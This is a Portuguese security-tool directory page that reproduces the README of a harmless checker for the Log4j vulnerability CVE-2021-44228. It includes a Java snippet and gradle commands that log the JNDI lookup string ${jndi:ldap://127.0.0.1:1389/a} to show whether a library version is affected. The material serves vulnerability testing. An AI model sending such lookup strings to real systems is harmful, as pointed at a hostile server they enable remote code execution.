Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/greymd/cve-2021-44228
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubgreymd/cve-2021-44228

CVE-2021-44228

Verificador de vulnerabilidade CVE-2021-44228

Ver Repositório
354há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Verificador CVE-2021-44228

Este é o repositório para verificar a vulnerabilidade CVE-2021-44228.

Este é um PoC que apenas exibe strings sem qualquer carregamento de classe externa. Não pode ser usado para execução arbitrária de código.

Como funciona?

Passo 1: Executar a aplicação do servidor

A imagem ghcr.io/greymd/cve-2021-44228/server está disponível e pode ser executada no Docker.

root@kitploit:~
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server

Passo 2: Aceder ao endpoint com log4j

Prepare o código para gerar logs usando log4j e execute-o no mesmo host. Faça a saída da string ${jndi:ldap://127.0.0.1:1389/a}.

root@kitploit:~
package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}

Se o argumento for um que cause uma vulnerabilidade, a frase 「うんこもりもり」(que significa algo como "Muita merda.") será registada com sucesso.

root@kitploit:~
17:52:24.871 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

Se está com preguiça de escrever e compilar o seu código, pode usar uma aplicação de logger simples neste repositório. O primeiro argumento será gerado pelo Logger.

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello

Um exemplo de fornecer um argumento que causa uma vulnerabilidade seria o seguinte.

root@kitploit:~
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

Se tiver uma versão do log4j que NÃO seja afetada pela vulnerabilidade, ou a aplicação do servidor não estiver em execução, a string será gerada como está, sem qualquer modificação. Pode verificar isto atualizando a versão da aplicação de logger conforme mostrado abaixo.

root@kitploit:~
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'

> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}

Executar a aplicação do servidor sem Docker

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...

Motivação

Como mencionei (e tanto quanto investiguei), esta vulnerabilidade não será reproduzida a menos que o servidor de destino do JNDI esteja em execução. Portanto, um PoC simples é útil.

Referências

Os seguintes URLs foram usados como referência na implementação.

  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/mbechler/marshalsec
  • https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
  • https://github.com/apache/logging-log4j2/pull/608
  • https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept

Versões testadas

  • OpenJDK Runtime Environment (build 1.8.0_302-b08)
  • OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)
  • OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)
Baixar ferramenta